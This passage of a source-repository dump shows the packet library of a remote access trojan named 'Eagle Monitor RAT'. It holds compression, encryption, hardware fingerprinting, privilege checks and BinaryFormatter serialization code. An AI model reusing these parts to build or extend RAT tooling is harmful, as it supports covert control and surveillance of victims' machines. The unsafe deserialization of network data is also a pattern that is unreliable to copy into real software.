    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"PacketLib\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Eagle Monitor RAT\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Algorithm.cs",
    "content": "﻿\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public enum Algorithm : byte\n    {\n        NONE =          0,//TODO : GENERATE RANDOM\n        Blowfish =      1,\n        Cast5 =         2,\n        Cast6 =         3,\n        DesEde =        4,\n        DesEngine =     5,\n        Dstu7624 =      6,\n        Gost28147 =     7,\n        Idea =          8,\n        Noekeon =       9,\n        RC2 =           10,\n        RC532 =         11,\n        RC6 =           12,\n        Rijndael =      13,\n        Seed =          14,\n        Serpent =       15,\n        Skipjack =      16,\n        SM4 =           17,\n        Tea =           18,\n        Threefish =     19,\n        Tnepres =       20,\n        Twofish =       21,\n        Xtea =          22,\n        Chacha =        23,\n        Chacha7539 =    24,\n        Salsa20 =       25,\n        XSalsa20 =      26,\n        Vmpc =          27,\n        RC4 =           28,\n        VmpcKsa3 =      29,\n        HC256 =         30,\n        Isaac =         31\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Compressor.cs",
    "content": "﻿using System;\n// QuickLZ data compression library\n// Copyright (C) 2006-2011 Lasse Mikkel Reinhold\n// lar@quicklz.com\n//\n// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything \n// released into public must be open source) or under a commercial license if such \n// has been acquired (see http://www.quicklz.com/order.html). The commercial license \n// does not cover derived or ported versions created by third parties under GPL.\n//\n// Only a subset of the C library has been ported, namely level 1 and 3 not in \n// streaming mode. \n//\n// Version: 1.5.0 final : http://www.quicklz.com/\n\nnamespace PacketLib\n{\n    public class Compressor\n    {\n        public static class QuickLZ\n        {\n            public const int QLZ_VERSION_MAJOR = 1;\n            public const int QLZ_VERSION_MINOR = 5;\n            public const int QLZ_VERSION_REVISION = 0;\n\n            // Streaming mode not supported\n            public const int QLZ_STREAMING_BUFFER = 0;\n\n            // Bounds checking not supported  Use try...catch instead\n            public const int QLZ_MEMORY_SAFE = 0;\n\n            // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!\n            private const int HASH_VALUES = 4096;\n            private const int MINOFFSET = 2;\n            private const int UNCONDITIONAL_MATCHLEN = 6;\n            private const int UNCOMPRESSED_END = 4;\n            private const int CWORD_LEN = 4;\n            private const int DEFAULT_HEADERLEN = 9;\n            private const int QLZ_POINTERS_1 = 1;\n            private const int QLZ_POINTERS_3 = 16;\n\n            private static int headerLen(byte[] source)\n            {\n                return ((source[0] & 2) == 2) ? 9 : 3;\n            }\n\n            public static int sizeDecompressed(byte[] source)\n            {\n                if (headerLen(source) == 9)\n                    return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24);\n                else\n                    return source[2];\n            }\n\n            public static int sizeCompressed(byte[] source)\n            {\n                if (headerLen(source) == 9)\n                    return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24);\n                else\n                    return source[1];\n            }\n\n            private static void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)\n            {\n                dst[0] = (byte)(2 | (compressible ? 1 : 0));\n                dst[0] |= (byte)(level << 2);\n                dst[0] |= (1 << 6);\n                dst[0] |= (0 << 4);\n                fast_write(dst, 1, size_decompressed, 4);\n                fast_write(dst, 5, size_compressed, 4);\n            }\n\n            public static byte[] Compress(byte[] source, int level)\n            {\n                int src = 0;\n                int dst = DEFAULT_HEADERLEN + CWORD_LEN;\n                uint cword_val = 0x80000000;\n                int cword_ptr = DEFAULT_HEADERLEN;\n                byte[] destination = new byte[source.Length + 400];\n                int[,] hashtable;\n                int[] cachetable = new int[HASH_VALUES];\n                byte[] hash_counter = new byte[HASH_VALUES];\n                byte[] d2;\n                int fetch = 0;\n                int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);\n                int lits = 0;\n\n                if (level != 1 && level != 3)\n                    throw new ArgumentException(\"C# version only supports level 1 and 3\");\n\n                if (level == 1)\n                    hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];\n                else\n                    hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];\n\n                if (source.Length == 0)\n                    return new byte[0];\n\n                if (src <= last_matchstart)\n                    fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);\n\n                while (src <= last_matchstart)\n                {\n                    if ((cword_val & 1) == 1)\n                    {\n                        if (src > source.Length >> 1 && dst > src - (src >> 5))\n                        {\n                            d2 = new byte[source.Length + DEFAULT_HEADERLEN];\n                            write_header(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN);\n                            System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length);\n                            return d2;\n                        }\n\n                        fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);\n                        cword_ptr = dst;\n                        dst += CWORD_LEN;\n                        cword_val = 0x80000000;\n                    }\n\n                    if (level == 1)\n                    {\n                        int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);\n                        int o = hashtable[hash, 0];\n                        int cache = cachetable[hash] ^ fetch;\n                        cachetable[hash] = fetch;\n                        hashtable[hash, 0] = src;\n\n                        if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && source[src] == source[src - 2] && source[src] == source[src - 1] && source[src] == source[src + 1] && source[src] == source[src + 2])))\n                        {\n                            cword_val = ((cword_val >> 1) | 0x80000000);\n                            if (source[o + 3] != source[src + 3])\n                            {\n                                int f = 3 - 2 | (hash << 4);\n                                destination[dst + 0] = (byte)(f >> 0 * 8);\n                                destination[dst + 1] = (byte)(f >> 1 * 8);\n                                src += 3;\n                                dst += 2;\n                            }\n                            else\n                            {\n                                int old_src = src;\n                                int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.Length - UNCOMPRESSED_END - src + 1 - 1));\n\n                                src += 4;\n                                if (source[o + src - old_src] == source[src])\n                                {\n                                    src++;\n                                    if (source[o + src - old_src] == source[src])\n                                    {\n                                        src++;\n                                        while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)\n                                            src++;\n                                    }\n                                }\n\n                                int matchlen = src - old_src;\n\n                                hash <<= 4;\n                                if (matchlen < 18)\n                                {\n                                    int f = (hash | (matchlen - 2));\n                                    destination[dst + 0] = (byte)(f >> 0 * 8);\n                                    destination[dst + 1] = (byte)(f >> 1 * 8);\n                                    dst += 2;\n                                }\n                                else\n                                {\n                                    fast_write(destination, dst, hash | (matchlen << 16), 3);\n                                    dst += 3;\n                                }\n                            }\n                            fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);\n                            lits = 0;\n                        }\n                        else\n                        {\n                            lits++;\n                            hash_counter[hash] = 1;\n                            destination[dst] = source[src];\n                            cword_val = (cword_val >> 1);\n                            src++;\n                            dst++;\n                            fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);\n                        }\n\n                    }\n                    else\n                    {\n                        fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);\n\n                        int o, offset2;\n                        int matchlen, k, m, best_k = 0;\n                        byte c;\n                        int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.Length - UNCOMPRESSED_END - src + 1 - 1));\n                        int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);\n\n                        c = hash_counter[hash];\n                        matchlen = 0;\n                        offset2 = 0;\n                        for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)\n                        {\n                            o = hashtable[hash, k];\n                            if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)\n                            {\n                                m = 3;\n                                while (source[o + m] == source[src + m] && m < remaining)\n                                    m++;\n                                if ((m > matchlen) || (m == matchlen && o > offset2))\n                                {\n                                    offset2 = o;\n                                    matchlen = m;\n                                    best_k = k;\n                                }\n                            }\n                        }\n                        o = offset2;\n                        hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;\n                        c++;\n                        hash_counter[hash] = c;\n\n                        if (matchlen >= 3 && src - o < 131071)\n                        {\n                            int offset = src - o;\n\n                            for (int u = 1; u < matchlen; u++)\n                            {\n                                fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);\n                                hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);\n                                c = hash_counter[hash]++;\n                                hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;\n                            }\n\n                            src += matchlen;\n                            cword_val = ((cword_val >> 1) | 0x80000000);\n\n                            if (matchlen == 3 && offset <= 63)\n                            {\n                                fast_write(destination, dst, offset << 2, 1);\n                                dst++;\n                            }\n                            else if (matchlen == 3 && offset <= 16383)\n                            {\n                                fast_write(destination, dst, (offset << 2) | 1, 2);\n                                dst += 2;\n                            }\n                            else if (matchlen <= 18 && offset <= 1023)\n                            {\n                                fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);\n                                dst += 2;\n                            }\n                            else if (matchlen <= 33)\n                            {\n                                fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);\n                                dst += 3;\n                            }\n                            else\n                            {\n                                fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);\n                                dst += 4;\n                            }\n                            lits = 0;\n                        }\n                        else\n                        {\n                            destination[dst] = source[src];\n                            cword_val = (cword_val >> 1);\n                            src++;\n                            dst++;\n                        }\n                    }\n                }\n                while (src <= source.Length - 1)\n                {\n                    if ((cword_val & 1) == 1)\n                    {\n                        fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);\n                        cword_ptr = dst;\n                        dst += CWORD_LEN;\n                        cword_val = 0x80000000;\n                    }\n\n                    destination[dst] = source[src];\n                    src++;\n                    dst++;\n                    cword_val = (cword_val >> 1);\n                }\n                while ((cword_val & 1) != 1)\n                {\n                    cword_val = (cword_val >> 1);\n                }\n                fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);\n                write_header(destination, level, true, source.Length, dst);\n                d2 = new byte[dst];\n                System.Array.Copy(destination, d2, dst);\n                return d2;\n            }\n\n\n            private static void fast_write(byte[] a, int i, int value, int numbytes)\n            {\n                for (int j = 0; j < numbytes; j++)\n                    a[i + j] = (byte)(value >> (j * 8));\n            }\n\n            public static byte[] Decompress(byte[] source)\n            {\n                int level;\n                int size = sizeDecompressed(source);\n                int src = headerLen(source);\n                int dst = 0;\n                uint cword_val = 1;\n                byte[] destination = new byte[size];\n                int[] hashtable = new int[4096];\n                byte[] hash_counter = new byte[4096];\n                int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;\n                int last_hashed = -1;\n                int hash;\n                uint fetch = 0;\n\n                level = (source[0] >> 2) & 0x3;\n\n                if (level != 1 && level != 3)\n                    throw new ArgumentException(\"C# version only supports level 1 and 3\");\n\n                if ((source[0] & 1) != 1)\n                {\n                    byte[] d2 = new byte[size];\n                    System.Array.Copy(source, headerLen(source), d2, 0, size);\n                    return d2;\n                }\n\n                for (; ; )\n                {\n                    if (cword_val == 1)\n                    {\n                        cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));\n                        src += 4;\n                        if (dst <= last_matchstart)\n                        {\n                            if (level == 1)\n                                fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));\n                            else\n                                fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));\n                        }\n                    }\n\n                    if ((cword_val & 1) == 1)\n                    {\n                        uint matchlen;\n                        uint offset2;\n\n                        cword_val = cword_val >> 1;\n\n                        if (level == 1)\n                        {\n                            hash = ((int)fetch >> 4) & 0xfff;\n                            offset2 = (uint)hashtable[hash];\n\n                            if ((fetch & 0xf) != 0)\n                            {\n                                matchlen = (fetch & 0xf) + 2;\n                                src += 2;\n                            }\n                            else\n                            {\n                                matchlen = source[src + 2];\n                                src += 3;\n                            }\n                        }\n                        else\n                        {\n                            uint offset;\n                            if ((fetch & 3) == 0)\n                            {\n                                offset = (fetch & 0xff) >> 2;\n                                matchlen = 3;\n                                src++;\n                            }\n                            else if ((fetch & 2) == 0)\n                            {\n                                offset = (fetch & 0xffff) >> 2;\n                                matchlen = 3;\n                                src += 2;\n                            }\n                            else if ((fetch & 1) == 0)\n                            {\n                                offset = (fetch & 0xffff) >> 6;\n                                matchlen = ((fetch >> 2) & 15) + 3;\n                                src += 2;\n                            }\n                            else if ((fetch & 127) != 3)\n                            {\n                                offset = (fetch >> 7) & 0x1ffff;\n                                matchlen = ((fetch >> 2) & 0x1f) + 2;\n                                src += 3;\n                            }\n                            else\n                            {\n                                offset = (fetch >> 15);\n                                matchlen = ((fetch >> 7) & 255) + 3;\n                                src += 4;\n                            }\n                            offset2 = (uint)(dst - offset);\n                        }\n\n                        destination[dst + 0] = destination[offset2 + 0];\n                        destination[dst + 1] = destination[offset2 + 1];\n                        destination[dst + 2] = destination[offset2 + 2];\n\n                        for (int i = 3; i < matchlen; i += 1)\n                        {\n                            destination[dst + i] = destination[offset2 + i];\n                        }\n\n                        dst += (int)matchlen;\n\n                        if (level == 1)\n                        {\n                            fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));\n                            while (last_hashed < dst - matchlen)\n                            {\n                                last_hashed++;\n                                hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));\n                                hashtable[hash] = last_hashed;\n                                hash_counter[hash] = 1;\n#pragma warning disable CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu\n                                fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);\n#pragma warning restore CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu\n                            }\n                            fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));\n                        }\n                        else\n                        {\n                            fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));\n                        }\n                        last_hashed = dst - 1;\n                    }\n                    else\n                    {\n                        if (dst <= last_matchstart)\n                        {\n                            destination[dst] = source[src];\n                            dst += 1;\n                            src += 1;\n                            cword_val = cword_val >> 1;\n\n                            if (level == 1)\n                            {\n                                while (last_hashed < dst - 3)\n                                {\n                                    last_hashed++;\n                                    int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);\n                                    hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);\n                                    hashtable[hash] = last_hashed;\n                                    hash_counter[hash] = 1;\n                                }\n#pragma warning disable CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu\n                                fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);\n                            }\n                            else\n                            {\n\n                                fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);\n#pragma warning restore CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu\n                            }\n                        }\n                        else\n                        {\n                            while (dst <= size - 1)\n                            {\n                                if (cword_val == 1)\n                                {\n                                    src += CWORD_LEN;\n                                    cword_val = 0x80000000;\n                                }\n\n                                destination[dst] = source[src];\n                                dst++;\n                                src++;\n                                cword_val = cword_val >> 1;\n                            }\n                            return destination;\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Encryption.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Security.Cryptography;\n\n/* \n|| AUTHOR https://bhf.im/threads/438711/ ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public class Encryption\n    {\n        public static byte[] RSMEncrypt(byte[] input, byte[] key)\n        {\n            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[8], 1);\n\n            RijndaelManaged rijndaelManaged = new RijndaelManaged\n            {\n                Mode = CipherMode.CBC,\n\n                Key = rfc2898DeriveBytes.GetBytes(16),\n\n                IV = rfc2898DeriveBytes.GetBytes(16)\n            };\n\n            byte[] array = new byte[input.Length + 16];\n\n            Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, array, 0, 16);\n\n            Buffer.BlockCopy(input, 0, array, 16, input.Length);\n\n            return rijndaelManaged.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);\n        }\n\n        public static byte[] RSMDecrypt(byte[] data, byte[] key)\n        {\n            Rfc2898DeriveBytes R = new Rfc2898DeriveBytes(key, new byte[8], 1);\n\n            RijndaelManaged rijndaelManaged = new RijndaelManaged\n            {\n                Mode = CipherMode.CBC,\n\n                Key = R.GetBytes(16),\n\n                IV = R.GetBytes(16)\n            };\n\n            byte[] O = rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);\n\n            byte[] U = new byte[O.Length - 16];\n\n            Buffer.BlockCopy(O, 16, U, 0, O.Length - 16);\n\n            return U;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Host.cs",
    "content": "﻿using System.Net;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public class Host\n    {\n        public string host { get; set; }\n        public int port { get; set; }\n        public bool connected { get; set; }\n        public bool available { get; set; }\n\n        public Host(string host, string port)\n        {\n            this.host = CheckDNS(host);\n            this.port = int.Parse(port);\n        }\n        private string CheckDNS(string url)\n        {\n            try\n            {\n                IPAddress[] l = Dns.GetHostAddresses(url);\n                foreach (var IP in l)\n                {\n                    if (IP.AddressFamily == AddressFamily.InterNetwork)\n                    {\n                        return IP.ToString();\n                    }\n                }\n            }\n            catch { }\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/HwidGen.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Management;\nusing System.Security.Cryptography;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    //From Async HWID Generator + https://stackoverflow.com/questions/2333149/how-to-fast-get-hardware-id-in-c\n    internal class HwidGen\n    {\n        private static string identifier(string wmiClass, string wmiProperty)\n        {\n            var mbs = new ManagementObjectSearcher(\"Select \"+ wmiProperty + \" From \" + wmiClass);\n            ManagementObjectCollection mbsList = mbs.Get();\n            string result = \"\";\n            foreach (ManagementObject mo in mbsList)\n            {\n                try\n                {\n                    result = mo[\"wmiProperty\"].ToString();\n                }\n                catch (Exception)\n                {\n                    return result;\n                }\n                break;\n            }\n            return result;\n        }\n        private static string procId()\n        {\n            return identifier(\"Win32_processor\", \"ProcessorId\")\n            + identifier(\"Win32_processor\", \"Manufacturer\")\n            + identifier(\"Win32_processor\", \"Name\")\n            + identifier(\"Win32_processor\", \"NumberOfCores\");\n        }\n        private static string baseId()\n        {\n            return identifier(\"Win32_BaseBoard\", \"Model\")\n            + identifier(\"Win32_BaseBoard\", \"Manufacturer\")\n            + identifier(\"Win32_BaseBoard\", \"Name\")\n            + identifier(\"Win32_BaseBoard\", \"SerialNumber\");\n        }\n        private static string GetHash(string strToHash)\n        {\n            MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();\n            byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);\n            bytesToHash = md5Obj.ComputeHash(bytesToHash);\n            StringBuilder strResult = new StringBuilder();\n            foreach (byte b in bytesToHash)\n                strResult.Append(b.ToString(\"x2\"));\n            return strResult.ToString().Substring(0, 20).ToUpper();\n        }\n        public static string HWID()\n        {\n            return GetHash(string.Concat(baseId(), Environment.ProcessorCount, Environment.UserName,\n                   Environment.MachineName, Environment.OSVersion\n                   , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize, procId()));\n\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/ImageProcessing.cs",
    "content": "﻿using System.Drawing;\nusing System.IO;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public class ImageProcessing\n    {\n        public static Image BytesToImage(byte[] bytes)\n        {\n            using (MemoryStream mStream = new MemoryStream(bytes))\n            {\n                return Image.FromStream(mStream);\n            }\n        }\n        public static byte[] ImageToBytes(Image img)\n        {\n            using (var ms = new MemoryStream())\n            {\n                (new Bitmap(img)).Save(ms, img.RawFormat);\n                return ms.ToArray();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Miscellaneous.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Security.Principal;\nusing System.Windows.Forms;\nusing static PacketLib.Utils.Native;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public class Miscellaneous\n    {\n        internal static string GPath = Application.StartupPath;\n\n        public static string Check64Bit()\n        {\n            if (Environment.Is64BitProcess)\n            {\n                return \"64\";\n            }\n            else\n            {\n                return \"32\";\n            }\n        }\n        public static string Privilege()\n        {\n            var ID = WindowsIdentity.GetCurrent();\n            var principal = new WindowsPrincipal(ID);\n            if (principal.IsInRole(WindowsBuiltInRole.Administrator))\n            {\n                return \"Admin\";\n            }\n            else\n            {\n                return \"User\";\n            }\n        }\n\n        public static void CleanMemory()\n        {\n            GC.Collect();\n            GC.WaitForPendingFinalizers();\n            SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);\n            EmptyWorkingSet(Process.GetCurrentProcess().Handle);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Native.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    internal class Native\n    {\n        [DllImport(\"kernel32.dll\", EntryPoint = \"SetProcessWorkingSetSize\", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]\n        public static extern int SetProcessWorkingSetSize(IntPtr process, int minimumWorkingSetSize, int maximumWorkingSetSize);\n\n        [DllImport(\"psapi\")]\n        public extern static bool EmptyWorkingSet(IntPtr hfandle);\n\n        [DllImport(\"kernel32.dll\")]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool GetPhysicallyInstalledSystemMemory(out long TotalMemoryInKilobytes);\n\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        public static extern bool DeleteFile(string lpFileName);\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public extern static bool MoveFile([MarshalAsAttribute(UnmanagedType.LPStr)] string lpExistingFileName, [MarshalAsAttribute(UnmanagedType.LPStr)] string lpNewFileName);\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Utils/Serializer.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Runtime.Serialization;\nusing System.Runtime.Serialization.Formatters.Binary;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Utils\n{\n    public static class Serializer\n    {\n        public static byte[] SerializePacket(this IPacket _object, string key)\n        {\n            byte[] bytes;\n            using (var _MemoryStream = new MemoryStream())\n            {\n                IFormatter _BinaryFormatter = new BinaryFormatter();\n                _BinaryFormatter.Serialize(_MemoryStream, _object);\n                bytes = _MemoryStream.ToArray();\n            }\n            bytes = Encryption.RSMEncrypt(Compressor.QuickLZ.Compress(bytes, 1), Encoding.Unicode.GetBytes(key));\n            return bytes;\n        }\n\n        public static IPacket DeserializePacket(this byte[] _byteArray, string key)\n        {\n            IPacket ReturnValue;\n            using (var _MemoryStream = new MemoryStream(Compressor.QuickLZ.Decompress(Encryption.RSMDecrypt(_byteArray, Encoding.Unicode.GetBytes(key)))))\n            {\n                IFormatter _BinaryFormatter = new BinaryFormatter();\n                ReturnValue = (IPacket)_BinaryFormatter.Deserialize(_MemoryStream);\n            }\n            return ReturnValue;\n        }\n\n        /*public static PacketHeader ConvertBytesToHeader(this byte[] _byteArray)\n        {\n            if (_byteArray.Length != 8)\n                return null;\n            PacketHeader header = new PacketHeader();\n            header.size = BitConverter.ToInt32(new byte[4] { _byteArray[0], _byteArray[1], _byteArray[2], _byteArray[3] }, 0);\n            header.packetId = BitConverter.ToInt32(new byte[4] { _byteArray[4], _byteArray[5], _byteArray[6], _byteArray[7] }, 0);\n            return header;\n        }*/\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.0\", FrameworkDisplayName = \".NET Framework 4\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Debug/PacketLib.csproj.CoreCompileInputs.cache",
    "content": "b3a036fb128a2b678b87d44e8e6ce5ecbcecb135\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Debug/PacketLib.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\RansomTiTan\\PacketLib\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\RansomTiTan\\PacketLib\\bin\\Debug\\PacketLib.pdb\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Debug\\PacketLib.dll\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Debug\\PacketLib.pdb\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncFlow\\PacketLib\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncFlow\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncFlow\\PacketLib\\obj\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncFlow\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\PacketLib\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\PacketLib\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\PacketLib\\bin\\Debug\\PacketLib.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access 